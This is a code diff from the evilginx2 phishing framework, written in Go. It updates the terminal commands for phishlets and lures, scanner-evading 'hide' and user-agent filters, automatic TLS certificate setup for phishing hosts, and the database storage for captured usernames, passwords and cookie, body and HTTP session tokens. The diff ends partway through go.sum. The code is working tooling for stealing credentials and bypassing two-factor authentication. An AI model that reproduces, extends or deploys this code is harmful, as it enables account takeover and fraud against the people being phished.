+ h.AddSubCommand("phishlets", []string{"create"}, "create ", "create child phishlet from a template phishlet with custom parameters")
+ h.AddSubCommand("phishlets", []string{"delete"}, "delete ", "delete child phishlet")
h.AddSubCommand("phishlets", []string{"hostname"}, "hostname ", "set hostname for given phishlet (e.g. this.is.not.a.phishing.site.evilsite.com)")
h.AddSubCommand("phishlets", []string{"enable"}, "enable ", "enables phishlet and requests ssl/tls certificate if needed")
h.AddSubCommand("phishlets", []string{"disable"}, "disable ", "disables phishlet")
h.AddSubCommand("phishlets", []string{"hide"}, "hide ", "hides the phishing page, logging and redirecting all requests to it (good for avoiding scanners when sending out phishing links)")
h.AddSubCommand("phishlets", []string{"unhide"}, "unhide ", "makes the phishing page available and reachable from the outside")
- h.AddSubCommand("phishlets", []string{"get-url"}, "get-url ", "generates phishing url with redirection on successful authentication")
h.AddSubCommand("phishlets", []string{"get-hosts"}, "get-hosts ", "generates entries for hosts file in order to use localhost for testing")
h.AddCommand("sessions", "general", "manage sessions and captured tokens with credentials", "Shows all captured credentials and authentication tokens. Allows to view full history of visits and delete logged sessions.", LAYER_TOP,
@@ -1004,11 +1050,8 @@ func (t *Terminal) createHelp() {
h.AddSubCommand("sessions", []string{"delete", "all"}, "delete all", "delete all logged sessions")
h.AddCommand("lures", "general", "manage lures for generation of phishing urls", "Shows all create lures and allows to edit or delete them.", LAYER_TOP,
- /* readline.PcItem("lures", readline.PcItem("create", readline.PcItemDynamic(t.phishletPrefixCompleter)), readline.PcItem("get-url"),
- readline.PcItem("edit", readline.PcItem("hostname"), readline.PcItem("path"), readline.PcItem("redirect_url"), readline.PcItem("phishlet"), readline.PcItem("info"), readline.PcItem("og_title"), readline.PcItem("og_desc"), readline.PcItem("og_image"), readline.PcItem("og_url"), readline.PcItem("params"), readline.PcItem("template", readline.PcItemDynamic(t.emptyPrefixCompleter, readline.PcItemDynamic(t.templatesPrefixCompleter)))),
- readline.PcItem("delete", readline.PcItem("all"))))*/
readline.PcItem("lures", readline.PcItem("create", readline.PcItemDynamic(t.phishletPrefixCompleter)), readline.PcItem("get-url"),
- readline.PcItem("edit", readline.PcItemDynamic(t.luresIdPrefixCompleter, readline.PcItem("hostname"), readline.PcItem("path"), readline.PcItem("redirect_url"), readline.PcItem("phishlet"), readline.PcItem("info"), readline.PcItem("og_title"), readline.PcItem("og_desc"), readline.PcItem("og_image"), readline.PcItem("og_url"), readline.PcItem("params"), readline.PcItem("ua_filter"), readline.PcItem("template", readline.PcItemDynamic(t.templatesPrefixCompleter)))),
+ readline.PcItem("edit", readline.PcItemDynamic(t.luresIdPrefixCompleter, readline.PcItem("hostname"), readline.PcItem("path"), readline.PcItem("redirect_url"), readline.PcItem("phishlet"), readline.PcItem("info"), readline.PcItem("og_title"), readline.PcItem("og_desc"), readline.PcItem("og_image"), readline.PcItem("og_url"), readline.PcItem("params"), readline.PcItem("ua_filter"), readline.PcItem("redirector", readline.PcItemDynamic(t.redirectorsPrefixCompleter)))),
readline.PcItem("delete", readline.PcItem("all"))))
h.AddSubCommand("lures", nil, "", "show all create lures")
@@ -1020,7 +1063,7 @@ func (t *Terminal) createHelp() {
h.AddSubCommand("lures", []string{"get-url"}, "get-url import export ", "generates phishing urls, importing parameters from file and exporting them to ")
h.AddSubCommand("lures", []string{"edit", "hostname"}, "edit hostname ", "sets custom phishing for a lure with a given ")
h.AddSubCommand("lures", []string{"edit", "path"}, "edit path ", "sets custom url for a lure with a given ")
- h.AddSubCommand("lures", []string{"edit", "template"}, "edit template ", "sets an html template for a lure with a given ")
+ h.AddSubCommand("lures", []string{"edit", "redirector"}, "edit redirector ", "sets an html redirector directory for a lure with a given ")
h.AddSubCommand("lures", []string{"edit", "ua_filter"}, "edit ua_filter ", "sets a regular expression user-agent whitelist filter for a lure with a given ")
h.AddSubCommand("lures", []string{"edit", "redirect_url"}, "edit redirect_url ", "sets redirect url that user will be navigated to on successful authorization, for a lure with a given ")
h.AddSubCommand("lures", []string{"edit", "phishlet"}, "edit phishlet ", "change the phishlet, the lure with a given applies to")
@@ -1031,12 +1074,17 @@ func (t *Terminal) createHelp() {
h.AddSubCommand("lures", []string{"edit", "og_url"}, "edit og_url ", "sets opengraph url that will be shown in link preview, for a lure with a given ")
h.AddCommand("blacklist", "general", "manage automatic blacklisting of requesting ip addresses", "Select what kind of requests should result in requesting IP addresses to be blacklisted.", LAYER_TOP,
- readline.PcItem("blacklist", readline.PcItem("all"), readline.PcItem("unauth"), readline.PcItem("off")))
+ readline.PcItem("blacklist", readline.PcItem("all"), readline.PcItem("unauth"), readline.PcItem("noadd"), readline.PcItem("off"), readline.PcItem("log", readline.PcItem("on"), readline.PcItem("off"))))
h.AddSubCommand("blacklist", nil, "", "show current blacklisting mode")
h.AddSubCommand("blacklist", []string{"all"}, "all", "block and blacklist ip addresses for every single request (even authorized ones!)")
h.AddSubCommand("blacklist", []string{"unauth"}, "unauth", "block and blacklist ip addresses only for unauthorized requests")
- h.AddSubCommand("blacklist", []string{"off"}, "off", "never add any ip addresses to blacklist")
+ h.AddSubCommand("blacklist", []string{"noadd"}, "noadd", "block but do not add new ip addresses to blacklist")
+ h.AddSubCommand("blacklist", []string{"off"}, "off", "ignore blacklist and allow every request to go through")
+ h.AddSubCommand("blacklist", []string{"log"}, "log ", "enable or disable log output for blacklist messages")
+
+ h.AddCommand("test-certs", "general", "test TLS certificates for active phishlets", "Test availability of set up TLS certificates for active phishlets.", LAYER_TOP,
+ readline.PcItem("test-certs"))
h.AddCommand("clear", "general", "clears the screen", "Clears the screen.", LAYER_TOP,
readline.PcItem("clear"))
@@ -1044,7 +1092,7 @@ func (t *Terminal) createHelp() {
t.hlp = h
}
-func (t *Terminal) tokensToJSON(pl *Phishlet, tokens map[string]map[string]*database.Token) string {
+func (t *Terminal) cookieTokensToJSON(pl *Phishlet, tokens map[string]map[string]*database.CookieToken) string {
type Cookie struct {
Path string `json:"path"`
Domain string `json:"domain"`
@@ -1083,104 +1131,118 @@ func (t *Terminal) tokensToJSON(pl *Phishlet, tokens map[string]map[string]*data
return string(json)
}
+func (t *Terminal) tokensToJSON(pl *Phishlet, tokens map[string]string) string {
+ var ret string
+ white := color.New(color.FgHiWhite)
+ for k, v := range tokens {
+ ret += fmt.Sprintf("%s: %s\n", k, white.Sprint(v))
+ }
+ return ret
+}
+
func (t *Terminal) checkStatus() {
if t.cfg.GetBaseDomain() == "" {
log.Warning("server domain not set! type: config domain ")
}
if t.cfg.GetServerIP() == "" {
- log.Warning("server ip not set! type: config ip ")
- }
-}
-
-func (t *Terminal) updatePhishletCertificates(site string) {
- for _, s := range t.cfg.GetEnabledSites() {
- if site == "" || s == site {
- pl, err := t.cfg.GetPhishlet(s)
- if err != nil {
- log.Error("%v", err)
- continue
- }
- if t.developer {
- log.Info("developer mode is on - will use self-signed SSL/TLS certificates for phishlet '%s'", s)
- } else {
- log.Info("setting up certificates for phishlet '%s'...", s)
- err = t.crt_db.SetupPhishletCertificate(s, pl.GetPhishHosts())
- if err != nil {
- log.Fatal("%v", err)
- t.cfg.SetSiteDisabled(s)
- } else {
- log.Success("successfully set up SSL/TLS certificates for domains: %v", pl.GetPhishHosts())
- }
- }
- }
+ log.Warning("server ip not set! type: config ipv4 ")
}
}
-func (t *Terminal) updateLuresCertificates() {
- for n, l := range t.cfg.lures {
- if l.Hostname != "" {
- err := t.updateHostCertificate(l.Hostname)
- if err != nil {
- log.Info("clearing hostname for lure %d", n)
- l.Hostname = ""
- err := t.cfg.SetLure(n, l)
- if err != nil {
- log.Error("edit: %v", err)
- }
- }
+func (t *Terminal) manageCertificates(verbose bool) {
+ if !t.p.developer {
+ hosts := t.p.cfg.GetActiveHostnames("")
+ //wc_host := t.p.cfg.GetWildcardHostname()
+ //hosts := []string{wc_host}
+ //hosts = append(hosts, t.p.cfg.GetActiveHostnames("")...)
+ if verbose {
+ log.Info("obtaining and setting up %d TLS certificates - please wait up to 60 seconds...", len(hosts))
}
- }
-}
-
-func (t *Terminal) updateHostCertificate(hostname string) error {
-
- if t.developer {
- log.Info("developer mode is on - will use self-signed SSL/TLS certificates for hostname '%s'", hostname)
- } else {
- log.Info("setting up certificates for hostname '%s'...", hostname)
- err := t.crt_db.SetupHostnameCertificate(hostname)
+ err := t.p.crt_db.setManagedSync(hosts, 60*time.Second)
if err != nil {
- return err
- } else {
- log.Success("successfully set up SSL/TLS certificates for hostname: %s", hostname)
+ log.Error("failed to set up TLS certificates: %s", err)
+ log.Error("run 'test-certs' command to retry")
+ return
+ }
+ if verbose {
+ log.Info("successfully set up all TLS certificates")
}
}
- return nil
}
func (t *Terminal) sprintPhishletStatus(site string) string {
higreen := color.New(color.FgHiGreen)
- hired := color.New(color.FgHiRed)
hiblue := color.New(color.FgHiBlue)
+ blue := color.New(color.FgBlue)
+ cyan := color.New(color.FgHiCyan)
yellow := color.New(color.FgYellow)
- hiwhite := color.New(color.FgHiWhite)
+ higray := color.New(color.FgWhite)
+ logray := color.New(color.FgHiBlack)
n := 0
- cols := []string{"phishlet", "author", "active", "status", "hostname"}
+ cols := []string{"phishlet", "status", "visibility", "hostname"}
var rows [][]string
- for s, _ := range t.cfg.phishlets {
+
+ var pnames []string
+ for s := range t.cfg.phishlets {
+ pnames = append(pnames, s)
+ }
+ sort.Strings(pnames)
+
+ for _, s := range pnames {
+ pl := t.cfg.phishlets[s]
if site == "" || s == site {
- pl, err := t.cfg.GetPhishlet(s)
+ _, err := t.cfg.GetPhishlet(s)
if err != nil {
continue
}
- status := hired.Sprint("disabled")
- if t.cfg.IsSiteEnabled(s) {
+ status := logray.Sprint("disabled")
+ if pl.isTemplate {
+ status = yellow.Sprint("template")
+ } else if t.cfg.IsSiteEnabled(s) {
status = higreen.Sprint("enabled")
}
- hidden_status := higreen.Sprint("available")
+ hidden_status := higray.Sprint("visible")
if t.cfg.IsSiteHidden(s) {
- hidden_status = hired.Sprint("hidden")
+ hidden_status = logray.Sprint("hidden")
}
domain, _ := t.cfg.GetSiteDomain(s)
n += 1
- rows = append(rows, []string{hiblue.Sprint(s), hiwhite.Sprint(pl.Author), status, hidden_status, yellow.Sprint(domain)})
+ if s == site {
+ var param_names string
+ for k, v := range pl.customParams {
+ if len(param_names) > 0 {
+ param_names += "; "
+ }
+ param_names += k
+ if v != "" {
+ param_names += ": " + v
+ }
+ }
+
+ keys := []string{"phishlet", "parent", "status", "visibility", "hostname", "params"}
+ vals := []string{hiblue.Sprint(s), blue.Sprint(pl.ParentName), status, hidden_status, cyan.Sprint(domain), logray.Sprint(param_names)}
+ return AsRows(keys, vals)
+ } else if site == "" {
+ rows = append(rows, []string{hiblue.Sprint(s), status, hidden_status, cyan.Sprint(domain)})
+ }
}
}
return AsTable(cols, rows)
}
+func (t *Terminal) sprintIsEnabled(enabled bool) string {
+ logray := color.New(color.FgHiBlack)
+ normal := color.New(color.Reset)
+
+ if enabled {
+ return normal.Sprint("true")
+ } else {
+ return logray.Sprint("false")
+ }
+}
+
func (t *Terminal) sprintLures() string {
higreen := color.New(color.FgHiGreen)
green := color.New(color.FgGreen)
@@ -1191,7 +1253,7 @@ func (t *Terminal) sprintLures() string {
hcyan := color.New(color.FgHiCyan)
white := color.New(color.FgHiWhite)
//n := 0
- cols := []string{"id", "phishlet", "hostname", "path", "template", "ua_filter", "redirect_url", "og"}
+ cols := []string{"id", "phishlet", "hostname", "path", "redirector", "ua_filter", "redirect_url", "og"}
var rows [][]string
for n, l := range t.cfg.lures {
var og string
@@ -1215,7 +1277,7 @@ func (t *Terminal) sprintLures() string {
} else {
og += "-"
}
- rows = append(rows, []string{strconv.Itoa(n), hiblue.Sprint(l.Phishlet), cyan.Sprint(l.Hostname), hcyan.Sprint(l.Path), white.Sprint(l.Template), green.Sprint(l.UserAgentFilter), yellow.Sprint(l.RedirectUrl), og})
+ rows = append(rows, []string{strconv.Itoa(n), hiblue.Sprint(l.Phishlet), cyan.Sprint(l.Hostname), hcyan.Sprint(l.Path), white.Sprint(l.Redirector), green.Sprint(l.UserAgentFilter), yellow.Sprint(l.RedirectUrl), og})
}
return AsTable(cols, rows)
}
@@ -1224,8 +1286,8 @@ func (t *Terminal) phishletPrefixCompleter(args string) []string {
return t.cfg.GetPhishletNames()
}
-func (t *Terminal) templatesPrefixCompleter(args string) []string {
- dir := t.cfg.GetTemplatesDir()
+func (t *Terminal) redirectorsPrefixCompleter(args string) []string {
+ dir := t.cfg.GetRedirectorsDir()
files, err := ioutil.ReadDir(dir)
if err != nil {
@@ -1233,12 +1295,22 @@ func (t *Terminal) templatesPrefixCompleter(args string) []string {
}
var ret []string
for _, f := range files {
- if strings.HasSuffix(f.Name(), ".html") || strings.HasSuffix(f.Name(), ".htm") {
- name := f.Name()
- if strings.Contains(name, " ") {
- name = "\"" + name + "\""
+ if f.IsDir() {
+ index_path1 := filepath.Join(dir, f.Name(), "index.html")
+ index_path2 := filepath.Join(dir, f.Name(), "index.htm")
+ index_found := ""
+ if _, err := os.Stat(index_path1); !os.IsNotExist(err) {
+ index_found = index_path1
+ } else if _, err := os.Stat(index_path2); !os.IsNotExist(err) {
+ index_found = index_path2
+ }
+ if index_found != "" {
+ name := f.Name()
+ if strings.Contains(name, " ") {
+ name = "\"" + name + "\""
+ }
+ ret = append(ret, name)
}
- ret = append(ret, name)
}
}
return ret
@@ -1246,7 +1318,7 @@ func (t *Terminal) templatesPrefixCompleter(args string) []string {
func (t *Terminal) luresIdPrefixCompleter(args string) []string {
var ret []string
- for n, _ := range t.cfg.lures {
+ for n := range t.cfg.lures {
ret = append(ret, strconv.Itoa(n))
}
return ret
@@ -1446,7 +1518,7 @@ func (t *Terminal) exportPhishUrls(export_path string, phish_urls []string, phis
var param_names []string
cols = append(cols, "url")
for _, params_row := range phish_params {
- for k, _ := range params_row {
+ for k := range params_row {
if !stringExists(k, param_names) {
cols = append(cols, k)
param_names = append(param_names, k)
@@ -1508,7 +1580,7 @@ func (t *Terminal) exportPhishUrls(export_path string, phish_urls []string, phis
func (t *Terminal) createPhishUrl(base_url string, params *url.Values) string {
var ret string = base_url
if len(*params) > 0 {
- key_arg := GenRandomString(rand.Intn(3) + 1)
+ key_arg := strings.ToLower(GenRandomString(rand.Intn(3) + 1))
enc_key := GenRandomAlphanumString(8)
dec_params := params.Encode()
diff --git a/core/utils.go b/core/utils.go
index 2228f2d12..6ad7a4647 100644
--- a/core/utils.go
+++ b/core/utils.go
@@ -4,6 +4,8 @@ import (
"crypto/rand"
"crypto/sha256"
"fmt"
+ "io/fs"
+ "io/ioutil"
"os"
)
@@ -46,3 +48,30 @@ func CreateDir(path string, perm os.FileMode) error {
}
return nil
}
+
+func ReadFromFile(path string) ([]byte, error) {
+ f, err := os.OpenFile(path, os.O_RDONLY, 0644)
+ defer f.Close()
+ if err != nil {
+ return nil, err
+ }
+ b, err := ioutil.ReadAll(f)
+ if err != nil {
+ return nil, err
+ }
+ return b, nil
+}
+
+func SaveToFile(b []byte, fpath string, perm fs.FileMode) error {
+ file, err := os.OpenFile(fpath, os.O_WRONLY|os.O_TRUNC|os.O_CREATE, perm)
+ if err != nil {
+ return err
+ }
+ defer file.Close()
+
+ _, err = file.Write(b)
+ if err != nil {
+ return err
+ }
+ return nil
+}
diff --git a/database/database.go b/database/database.go
index 42a3a3fd1..155412883 100644
--- a/database/database.go
+++ b/database/database.go
@@ -54,8 +54,18 @@ func (d *Database) SetSessionCustom(sid string, name string, value string) error
return err
}
-func (d *Database) SetSessionTokens(sid string, tokens map[string]map[string]*Token) error {
- err := d.sessionsUpdateTokens(sid, tokens)
+func (d *Database) SetSessionBodyTokens(sid string, tokens map[string]string) error {
+ err := d.sessionsUpdateBodyTokens(sid, tokens)
+ return err
+}
+
+func (d *Database) SetSessionHttpTokens(sid string, tokens map[string]string) error {
+ err := d.sessionsUpdateHttpTokens(sid, tokens)
+ return err
+}
+
+func (d *Database) SetSessionCookieTokens(sid string, tokens map[string]map[string]*CookieToken) error {
+ err := d.sessionsUpdateCookieTokens(sid, tokens)
return err
}
diff --git a/database/db_session.go b/database/db_session.go
index e170bf545..00db1747d 100644
--- a/database/db_session.go
+++ b/database/db_session.go
@@ -11,21 +11,23 @@ import (
const SessionTable = "sessions"
type Session struct {
- Id int `json:"id"`
- Phishlet string `json:"phishlet"`
- LandingURL string `json:"landing_url"`
- Username string `json:"username"`
- Password string `json:"password"`
- Custom map[string]string `json:"custom"`
- Tokens map[string]map[string]*Token `json:"tokens"`
- SessionId string `json:"session_id"`
- UserAgent string `json:"useragent"`
- RemoteAddr string `json:"remote_addr"`
- CreateTime int64 `json:"create_time"`
- UpdateTime int64 `json:"update_time"`
+ Id int `json:"id"`
+ Phishlet string `json:"phishlet"`
+ LandingURL string `json:"landing_url"`
+ Username string `json:"username"`
+ Password string `json:"password"`
+ Custom map[string]string `json:"custom"`
+ BodyTokens map[string]string `json:"body_tokens"`
+ HttpTokens map[string]string `json:"http_tokens"`
+ CookieTokens map[string]map[string]*CookieToken `json:"tokens"`
+ SessionId string `json:"session_id"`
+ UserAgent string `json:"useragent"`
+ RemoteAddr string `json:"remote_addr"`
+ CreateTime int64 `json:"create_time"`
+ UpdateTime int64 `json:"update_time"`
}
-type Token struct {
+type CookieToken struct {
Name string
Value string
Path string
@@ -46,18 +48,20 @@ func (d *Database) sessionsCreate(sid string, phishlet string, landing_url strin
id, _ := d.getNextId(SessionTable)
s := &Session{
- Id: id,
- Phishlet: phishlet,
- LandingURL: landing_url,
- Username: "",
- Password: "",
- Custom: make(map[string]string),
- Tokens: make(map[string]map[string]*Token),
- SessionId: sid,
- UserAgent: useragent,
- RemoteAddr: remote_addr,
- CreateTime: time.Now().UTC().Unix(),
- UpdateTime: time.Now().UTC().Unix(),
+ Id: id,
+ Phishlet: phishlet,
+ LandingURL: landing_url,
+ Username: "",
+ Password: "",
+ Custom: make(map[string]string),
+ BodyTokens: make(map[string]string),
+ HttpTokens: make(map[string]string),
+ CookieTokens: make(map[string]map[string]*CookieToken),
+ SessionId: sid,
+ UserAgent: useragent,
+ RemoteAddr: remote_addr,
+ CreateTime: time.Now().UTC().Unix(),
+ UpdateTime: time.Now().UTC().Unix(),
}
jf, _ := json.Marshal(s)
@@ -126,12 +130,36 @@ func (d *Database) sessionsUpdateCustom(sid string, name string, value string) e
return err
}
-func (d *Database) sessionsUpdateTokens(sid string, tokens map[string]map[string]*Token) error {
+func (d *Database) sessionsUpdateBodyTokens(sid string, tokens map[string]string) error {
s, err := d.sessionsGetBySid(sid)
if err != nil {
return err
}
- s.Tokens = tokens
+ s.BodyTokens = tokens
+ s.UpdateTime = time.Now().UTC().Unix()
+
+ err = d.sessionsUpdate(s.Id, s)
+ return err
+}
+
+func (d *Database) sessionsUpdateHttpTokens(sid string, tokens map[string]string) error {
+ s, err := d.sessionsGetBySid(sid)
+ if err != nil {
+ return err
+ }
+ s.HttpTokens = tokens
+ s.UpdateTime = time.Now().UTC().Unix()
+
+ err = d.sessionsUpdate(s.Id, s)
+ return err
+}
+
+func (d *Database) sessionsUpdateCookieTokens(sid string, tokens map[string]map[string]*CookieToken) error {
+ s, err := d.sessionsGetBySid(sid)
+ if err != nil {
+ return err
+ }
+ s.CookieTokens = tokens
s.UpdateTime = time.Now().UTC().Unix()
err = d.sessionsUpdate(s.Id, s)
diff --git a/go.mod b/go.mod
index 0ae7de9c3..bf2994ba9 100644
--- a/go.mod
+++ b/go.mod
@@ -1,25 +1,57 @@
module github.com/kgretzky/evilginx2
-go 1.12
+go 1.18
require (
- github.com/chzyer/logex v1.1.10 // indirect
+ github.com/caddyserver/certmagic v0.16.1
github.com/chzyer/readline v0.0.0-20180603132655-2972be24d48e
- github.com/chzyer/test v0.0.0-20180213035817-a1ea475d72b1 // indirect
- github.com/elazarl/goproxy v0.0.0-20190911111923-ecfe977594f1
- github.com/fatih/color v1.7.0
+ github.com/elazarl/goproxy v0.0.0-20220529153421-8ea89ba92021
+ github.com/fatih/color v1.13.0
github.com/go-acme/lego/v3 v3.1.0
github.com/gorilla/mux v1.7.3
github.com/inconshreveable/go-vhost v0.0.0-20160627193104-06d84117953b
- github.com/mattn/go-colorable v0.1.4 // indirect
- github.com/miekg/dns v1.1.22
+ github.com/miekg/dns v1.1.50
github.com/mwitkow/go-http-dialer v0.0.0-20161116154839-378f744fb2b8
- github.com/spf13/viper v1.4.0
- github.com/tidwall/btree v0.0.0-20170113224114-9876f1454cf0 // indirect
+ github.com/spf13/viper v1.10.1
github.com/tidwall/buntdb v1.1.0
- github.com/tidwall/gjson v1.3.2 // indirect
+ golang.org/x/net v0.0.0-20220728211354-c7608f3a8462
+)
+
+require (
+ github.com/cenkalti/backoff/v3 v3.0.0 // indirect
+ github.com/fsnotify/fsnotify v1.5.1 // indirect
+ github.com/hashicorp/hcl v1.0.0 // indirect
+ github.com/klauspost/cpuid/v2 v2.1.0 // indirect
+ github.com/libdns/libdns v0.2.1 // indirect
+ github.com/magiconair/properties v1.8.6 // indirect
+ github.com/mattn/go-colorable v0.1.12 // indirect
+ github.com/mattn/go-isatty v0.0.14 // indirect
+ github.com/mholt/acmez v1.0.3 // indirect
+ github.com/mitchellh/mapstructure v1.4.3 // indirect
+ github.com/pelletier/go-toml v1.9.4 // indirect
+ github.com/spf13/afero v1.8.1 // indirect
+ github.com/spf13/cast v1.4.1 // indirect
+ github.com/spf13/jwalterweatherman v1.1.0 // indirect
+ github.com/spf13/pflag v1.0.5 // indirect
+ github.com/subosito/gotenv v1.2.0 // indirect
+ github.com/tidwall/btree v0.0.0-20170113224114-9876f1454cf0 // indirect
+ github.com/tidwall/gjson v1.14.0 // indirect
github.com/tidwall/grect v0.0.0-20161006141115-ba9a043346eb // indirect
+ github.com/tidwall/match v1.1.1 // indirect
+ github.com/tidwall/pretty v1.2.0 // indirect
github.com/tidwall/rtree v0.0.0-20180113144539-6cd427091e0e // indirect
github.com/tidwall/tinyqueue v0.0.0-20180302190814-1e39f5511563 // indirect
- golang.org/x/net v0.0.0-20200707034311-ab3426394381
+ go.uber.org/atomic v1.9.0 // indirect
+ go.uber.org/multierr v1.8.0 // indirect
+ go.uber.org/zap v1.21.0 // indirect
+ golang.org/x/crypto v0.0.0-20220722155217-630584e8d5aa // indirect
+ golang.org/x/mod v0.6.0-dev.0.20220419223038-86c51ed26bb4 // indirect
+ golang.org/x/sys v0.0.0-20220731174439-a90be440212d // indirect
+ golang.org/x/text v0.3.7 // indirect
+ golang.org/x/tools v0.1.12 // indirect
+ gopkg.in/ini.v1 v1.66.4 // indirect
+ gopkg.in/square/go-jose.v2 v2.3.1 // indirect
+ gopkg.in/yaml.v2 v2.4.0 // indirect
)
+
+replace github.com/elazarl/goproxy => github.com/kgretzky/goproxy v0.0.0-20220622134552-7d0e0c658440
diff --git a/go.sum b/go.sum
index 96a467d62..2b89455a5 100644
--- a/go.sum
+++ b/go.sum
@@ -1,7 +1,42 @@
cloud.google.com/go v0.26.0/go.mod h1:aQUYkXzVsufM+DwF1aE+0xfcU+56JwCaLick0ClmMTw=
cloud.google.com/go v0.34.0/go.mod h1:aQUYkXzVsufM+DwF1aE+0xfcU+56JwCaLick0ClmMTw=
cloud.google.com/go v0.38.0/go.mod h1:990N+gfupTy94rShfmMCWGDn0LpTmnzTp2qbd1dvSRU=
+cloud.google.com/go v0.44.1/go.mod h1:iSa0KzasP4Uvy3f1mN/7PiObzGgflwredwwASm/v6AU=
+cloud.google.com/go v0.44.2/go.mod h1:60680Gw3Yr4ikxnPRS/oxxkBccT6SA1yMk63TGekxKY=
+cloud.google.com/go v0.44.3/go.mod h1:60680Gw3Yr4ikxnPRS/oxxkBccT6SA1yMk63TGekxKY=
+cloud.google.com/go v0.45.1/go.mod h1:RpBamKRgapWJb87xiFSdk4g1CME7QZg3uwTez+TSTjc=
+cloud.google.com/go v0.46.3/go.mod h1:a6bKKbmY7er1mI7TEI4lsAkts/mkhTSZK8w33B4RAg0=
+cloud.google.com/go v0.50.0/go.mod h1:r9sluTvynVuxRIOHXQEHMFffphuXHOMZMycpNR5e6To=
+cloud.google.com/go v0.52.0/go.mod h1:pXajvRH/6o3+F9jDHZWQ5PbGhn+o8w9qiu/CffaVdO4=
+cloud.google.com/go v0.53.0/go.mod h1:fp/UouUEsRkN6ryDKNW/Upv/JBKnv6WDthjR6+vze6M=
+cloud.google.com/go v0.54.0/go.mod h1:1rq2OEkV3YMf6n/9ZvGWI3GWw0VoqH/1x2nd8Is/bPc=
+cloud.google.com/go v0.56.0/go.mod h1:jr7tqZxxKOVYizybht9+26Z/gUq7tiRzu+ACVAMbKVk=
+cloud.google.com/go v0.57.0/go.mod h1:oXiQ6Rzq3RAkkY7N6t3TcE6jE+CIBBbA36lwQ1JyzZs=
+cloud.google.com/go v0.62.0/go.mod h1:jmCYTdRCQuc1PHIIJ/maLInMho30T/Y0M4hTdTShOYc=
+cloud.google.com/go v0.65.0/go.mod h1:O5N8zS7uWy9vkA9vayVHs65eM1ubvY4h553ofrNHObY=
+cloud.google.com/go v0.72.0/go.mod h1:M+5Vjvlc2wnp6tjzE102Dw08nGShTscUx2nZMufOKPI=
+cloud.google.com/go v0.74.0/go.mod h1:VV1xSbzvo+9QJOxLDaJfTjx5e+MePCpCWwvftOeQmWk=
+cloud.google.com/go v0.75.0/go.mod h1:VGuuCn7PG0dwsd5XPVm2Mm3wlh3EL55/79EKB6hlPTY=
+cloud.google.com/go/bigquery v1.0.1/go.mod h1:i/xbL2UlR5RvWAURpBYZTtm/cXjCha9lbfbpx4poX+o=
+cloud.google.com/go/bigquery v1.3.0/go.mod h1:PjpwJnslEMmckchkHFfq+HTD2DmtT67aNFKH1/VBDHE=
+cloud.google.com/go/bigquery v1.4.0/go.mod h1:S8dzgnTigyfTmLBfrtrhyYhwRxG72rYxvftPBK2Dvzc=
+cloud.google.com/go/bigquery v1.5.0/go.mod h1:snEHRnqQbz117VIFhE8bmtwIDY80NLUZUMb4Nv6dBIg=
+cloud.google.com/go/bigquery v1.7.0/go.mod h1://okPTzCYNXSlb24MZs83e2Do+h+VXtc4gLoIoXIAPc=
+cloud.google.com/go/bigquery v1.8.0/go.mod h1:J5hqkt3O0uAFnINi6JXValWIb1v0goeZM77hZzJN/fQ=
+cloud.google.com/go/datastore v1.0.0/go.mod h1:LXYbyblFSglQ5pkeyhO+Qmw7ukd3C+pD7TKLgZqpHYE=
+cloud.google.com/go/datastore v1.1.0/go.mod h1:umbIZjpQpHh4hmRpGhH4tLFup+FVzqBi1b3c64qFpCk=
+cloud.google.com/go/pubsub v1.0.1/go.mod h1:R0Gpsv3s54REJCy4fxDixWD93lHJMoZTyQ2kNxGRt3I=
+cloud.google.com/go/pubsub v1.1.0/go.mod h1:EwwdRX2sKPjnvnqCa270oGRyludottCI76h+R3AArQw=
+cloud.google.com/go/pubsub v1.2.0/go.mod h1:jhfEVHT8odbXTkndysNHCcx0awwzvfOlguIAii9o8iA=
+cloud.google.com/go/pubsub v1.3.1/go.mod h1:i+ucay31+CNRpDW4Lu78I4xXG+O1r/MAHgjpRVR+TSU=
+cloud.google.com/go/storage v1.0.0/go.mod h1:IhtSnM/ZTZV8YYJWCY8RULGVqBDmpoyjwiyrjsg+URw=
+cloud.google.com/go/storage v1.5.0/go.mod h1:tpKbwo567HUNpVclU5sGELwQWBDZ8gh0ZeosJ0Rtdos=
+cloud.google.com/go/storage v1.6.0/go.mod h1:N7U0C8pVQ/+NIKOBQyamJIeKQKkZ+mxpohlUTyfDhBk=
+cloud.google.com/go/storage v1.8.0/go.mod h1:Wv1Oy7z6Yz3DshWRJFhqM/UCfaWIRTdp0RXyy7KQOVs=
+cloud.google.com/go/storage v1.10.0/go.mod h1:FLPqc6j+Ki4BU591ie1oL6qBQGu2Bl/tZ9ullr3+Kg0=
+cloud.google.com/go/storage v1.14.0/go.mod h1:GrKmX003DSIwi9o29oFT7YDnHYwZoctc3fOKtUw0Xmo=
contrib.go.opencensus.io/exporter/ocagent v0.4.12/go.mod h1:450APlNTSR6FrvC3CTRqYosuDstRB9un7SOx2k/9ckA=
+dmitri.shuralyov.com/gpu/mtl v0.0.0-20190408044501-666a987793e9/go.mod h1:H6x//7gZCb22OMCxBHrMx7a5I7Hp++hsVxbQ4BYO7hU=
github.com/Azure/azure-sdk-for-go v32.4.0+incompatible/go.mod h1:9XXNKU+eRnpl9moKnB4QOLf1HestfXbmab5FXxiDBjc=
github.com/Azure/go-autorest/autorest v0.1.0/go.mod h1:AKyIcETwSUFxIcs/Wnq/C+kwCtlEYGUVd7FPNb2slmg=
github.com/Azure/go-autorest/autorest v0.5.0/go.mod h1:9HLKlQjVBH6U3oDfsXOeVc56THsLPw1L03yban4xThw=
@@ -15,9 +50,8 @@ github.com/Azure/go-autorest/autorest/to v0.2.0/go.mod h1:GunWKJp1AEqgMaGLV+iocm
github.com/Azure/go-autorest/autorest/validation v0.1.0/go.mod h1:Ha3z/SqBeaalWQvokg3NZAlQTalVMtOIAs1aGK7G6u8=
github.com/Azure/go-autorest/logger v0.1.0/go.mod h1:oExouG+K6PryycPJfVSxi/koC6LSNgds39diKLz7Vrc=
github.com/Azure/go-autorest/tracing v0.1.0/go.mod h1:ROEEAFwXycQw7Sn3DXNtEedEvdeRAgDr0izn4z5Ij88=
-github.com/BurntSushi/toml v0.3.1 h1:WXkYYl6Yr3qBf1K79EBnL4mak0OimBfB0XUf9Vl28OQ=
github.com/BurntSushi/toml v0.3.1/go.mod h1:xHWCNGjB5oqiDr8zfno3MHue2Ht5sIBksp03qcyfWMU=
-github.com/OneOfOne/xxhash v1.2.2/go.mod h1:HSdplMjZKSmBqAxg5vPj2TmRDmfkzw+cTzAElWljhcU=
